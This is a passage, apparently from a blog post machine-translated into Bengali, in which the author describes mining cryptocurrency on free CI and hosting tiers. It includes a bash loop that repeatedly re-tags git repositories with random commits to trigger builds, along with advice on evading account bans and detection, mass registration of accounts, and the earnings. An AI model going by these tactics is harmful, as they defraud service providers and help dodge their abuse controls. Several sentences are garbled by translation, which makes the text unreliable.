গিট হোস্টিং পরিষেবাগুলি ব্যবহার করে, গিথুব নিষেধাজ্ঞা সম্পর্কে আরও পুঙ্খানুপুঙ্খ ছিল, তবে সেগুলি কেবলমাত্র সিআই সার্ভিস অ্যাডমিনদের দ্বারা অপব্যবহারের প্রতিবেদনে কার্যকর করা হয়েছিল, গিটল্যাব একবার নিষেধাজ্ঞা জারি করেছিল, যখন আমি সিআই ট্রায়াল পুনর্নবীকরণ করার চেষ্টা করেছি (অসতর্কভাবে)। আমি কখনোই বিটবকেট অ্যাকাউন্টের জন্য নিষেধাজ্ঞা পাইনি। (জোর) ধাক্কা git প্রতিশ্রুতি, আমরা একটি দীর্ঘ চলমান লুপ যে git সংগ্রহস্থল পুনরায় ট্যাগ আছে:
while :; do
repos_count=$(ls -ld ${repos}/* | grep -c ^d)
repos_ival=$(((RANDOM%variance+delay)/repos_count))
for r in $repos/*; do
cd "$r"
git fetch --all
tagger
echo -e "\e[32m""sleeping for $repos_ival since $(date +%H:%M:%S\ %b/%d)""\e[0m"
sleep $repos_ival
done
sleep 1
done
এটা সম্ভব হতে পারে যে এইভাবে জোর করাটা গিথুবকে খুব পছন্দ করে না এবং অ্যাকাউন্টগুলিকে পতাকাঙ্কিত করার কারণ হতে পারে। ট্যাগার ফাংশনটি জোরপূর্বক একটি ভিন্ন কমিটকে ধাক্কা দেয়, একটি ওয়েবসাইট ব্যবহার করে (যা আপনি খুব সহজেই দেখতে পারেন) যা কিছু এলোমেলো কমিট দেয়। আমি নিশ্চিত নই যে এটি কতটা সাহায্য করে, যেহেতু প্রতিশ্রুতির বিষয়বস্তু স্পষ্টতই আমার ক্ষেত্রে সন্দেহজনক। এবং এটি আমাকে একবার পাছায়ও কামড়েছিল, যেহেতু এই আদেশ দ্বারা ফেরত দেওয়া প্রতিশ্রুতিগুলি শপথ শব্দগুলি অন্তর্ভুক্ত করতে পারে, আমার একটি প্রতিশ্রুতি একটি টুইটার বট দ্বারা নেওয়া হয়েছিল যা শপথের শব্দগুলির সাথে গিট কমিটগুলি ট্র্যাক করে! আমি ঘটনার পরে খারাপ শব্দের জন্য একটি কালো তালিকা যুক্ত করেছি।
আমি সত্যিই অস্পষ্ট গিট কমিট এবং আবদ্ধ গিট রিপোজিটরিগুলির মধ্যে অনুসন্ধান করি নি। একমাত্র উদাহরণ যেখানে আমি আরও বিস্তৃত সংগ্রহস্থল ব্যবহার করছিলাম বিট্রাইজের সাথে ছিল যেহেতু আপনি একটি বিল্ড সেটআপ করতে পারতেন না যদি সিস্টেম একটি পরিবেশ (মোবাইল অ্যাপস) চিনতে না পারে, কিন্তু তারপরও কোন ঘূর্ণন ছিল না এবং এটি সর্বদা একই ছিল সংগ্রহস্থল, স্পট করা বেশ সহজ।
সামগ্রিকভাবে, যদি আমি আমার সময় অনুকূল সময় একটি বেল বক্ররেখা চক্রান্ত করতে হবে ছাড়াসমস্ত পরীক্ষিত পরিষেবা জুড়ে অ্যাকাউন্ট নিষিদ্ধ করা, প্রতিদিন 1 বার কেন্দ্রের সাথে 1 ঘন্টা বিল্ড সময়কাল থাকবে। সিপিইউ কোরের জন্য, কয়েকজন মিথ্যাবাদী (ড্রোন) এর জন্য, বেশিরভাগ পরিষেবা আশা করে যে আপনি আপনাকে প্রদত্ত সম্পদের পূর্ণ পরিমাণ ব্যবহার করবেন কারণ বিল্ডগুলি ভিএম বা সীমাবদ্ধ সম্পদ সহ পাত্রে চালানো হয় ... এবং সংকলন সাধারণত একটি কাজ যা cpu saturates, তাই এর পরিসংখ্যানগত প্রাসঙ্গিকতা নেই। স্বতitiveস্ফূর্তভাবে প্রতিদিন একটি বিল্ড গড়ে ডেভেলপার কি করবে, তাই আপনি যদি উত্থাপিত পতাকা প্রত্যাশা করেন যদি আপনি গড় থেকে দূরে সরে যান এবং অপব্যবহারের জন্য চাপ দেওয়া কখনই ভালভাবে শেষ হয় না।
এটা কি মূল্য ছিল? নেটওয়ার্কিং অংশগুলি অবশ্যই আকর্ষণীয় ছিল, অ্যাকাউন্ট নিবন্ধনের সাথে কাজ করা স্পষ্টতই সবচেয়ে খারাপ অংশ ছিল, নোবডিগুলি অবিরাম নিশ্চিতকরণ ইমেলগুলি ক্লিক করতে পছন্দ করে এবং সব পরেই মন অসাড় UI পদ্ধতিগুলি পুনরাবৃত্তি করে। স্প্যাম অটোমেশন সফ্টওয়্যার লেখাও বিরক্তিকর (কারণ আপনার বেশিরভাগই বোবা API গুলিতে পোক করছে), এবং এই অনুমানের সাথে (এবং এই সত্য যে এটি কখনই গুরুতর কিছু ছিল না) আমি এমনকি এটি বিবেচনা করি নি। এটা কি লাভজনক ছিল? এর চূড়ায় এটি এমন কিছুতে পৌঁছেছিল300$
প্রতি মাসে, হয়তো ভেনেজুয়েলার জন্য যথেষ্ট, সত্যিই আমার জন্য নয় :)
[1] | খামখেয়ালি sysadmin |
[2] | যদিও এটি অনেক গোপনীয়তা অনুমানকে ভেঙে দেবে, আমি নিশ্চিত যে তাদের মধ্যে বেশিরভাগই যখনই একটি আসন্ন সমস্যা হয় তখনই ভিতরে উঁকি দেয়, কিন্তু এটি কেবলমাত্র কন্টেইনার ভিত্তিক রানটাইমগুলির জন্য একটি সমস্যা, যেখানে ভিএমগুলি অনেক বেশি কালো বাক্স। |
[3] | মনিরো নোডে নির্মিত খনিটি এটিকে আরও ব্যাকগ্রাউন্ড বান্ধব করার জন্য কিছু কাজ পেয়েছিল, কিন্তু xmrig এর বিতরণ কখনও ব্যাকগ্রাউন্ড বন্ধুত্বের দিকে মনোনিবেশ করা হয়নি। |
[5] | কিছু পুল বিভিন্ন সংযোগ পোর্টে বিভিন্ন অসুবিধা প্রদান করে, এবং খনির জমা দেওয়া শেয়ারগুলিতে কাজের অসুবিধা সারিবদ্ধ করতে থাকে, কিন্তু প্রক্সির গ্রানুলারিটি এখনও আরও সুবিধাজনক ছিল, কারণ এটি পুলকে প্রতিরোধ করবে বন্ধ করা (যদিও আমরা কখনই পুল সুইচ করিনি) |
[4] | যখন কনফিগারেশনটি হঠাৎ উপস্থিত হয়েছিল এবং ফাইল সিস্টেম থেকে অদৃশ্য হয়ে গেল তখন এটি খুশি হয়নি |
[6] | আমরা এর সম্পর্কে কথা বলি না স্তর প্রোটোকল যেহেতু আমাদের যা বাস্তবায়িত হয়েছে তা মোকাবেলা করতে হবে উভয় পুল এবং খনি ... যা সাধারণত সর্বনিম্ন, এবং সম্ভবত অ -মানক এক্সটেনশনের সাথে। |
[7] | কখনো পুরো বাশে যাবেন না :) |
[8] | রানটাইম -এ যখন কোন প্রসেস অতিরিক্ত কার্যকারিতা লোড করে তখন কী হয় তা আমি অনুসন্ধান করি নি, কার্নেল এক্সিকিউটেবলের মেমরি লেআউটে ঠিকানা খুঁজবে, যা ফাইল সিস্টেম অ্যাক্সেস করবে এবং সম্ভবত একটি ক্র্যাশ ঘটাবে। |
[9] | সীমাগুলি নির্বিচারে, cpu সময় এক সেকেন্ডের কম, মেমরি 128M এর কম, আউটবাউন্ড সংযোগগুলি অবরুদ্ধ। |
[10] | একটু ধৈর্যের সাথে আপনি আপনার cpanel অ্যাকাউন্ট স্পেসের চারপাশে বুটস্ট্র্যাপ করা পরিবেশের উপর একটি পূর্ণ ssh উদাহরণ চালাতে পারেন, ছাড়া CPANEL বিল্টিন SSH- এ অ্যাক্সেস থাকা যা হোস্টিং প্রদানকারীদের দ্বারা অক্ষম হয়ে থাকে। |
[11] | ওপেনশিফট 1 বছরের বিনামূল্যে স্তর থেকে 3 মাস থেকে 1 মাস পর্যন্ত গিয়েছিল, ফোন প্রমাণীকরণের প্রয়োজন শুরু করে, আমি গ্যারান্টি দিতে পারি যে আমি কেবল তাদের পরিষেবাগুলি অপব্যবহার করিনি। |
[12] | হেরোকু ফ্রি টিয়ার কন্টেইনারগুলি সম্পদে বেশ উদার, তারা 4c/8t (ভার্চুয়াল) সিপাস, প্রচুর পরিমাণে র and্যাম এবং বড় স্টোরেজ সরবরাহ করে (যা ডাইনো শাটডাউনে স্থায়ী হয় না এবং বাতিল করা হয়)। |
[13] | তারা বেশ কিছু নিষেধাজ্ঞার পরে, মিউক কঠোর নিবন্ধনের নিয়ম যুক্ত করে, আমি এতে অবদান রাখতে পারি। |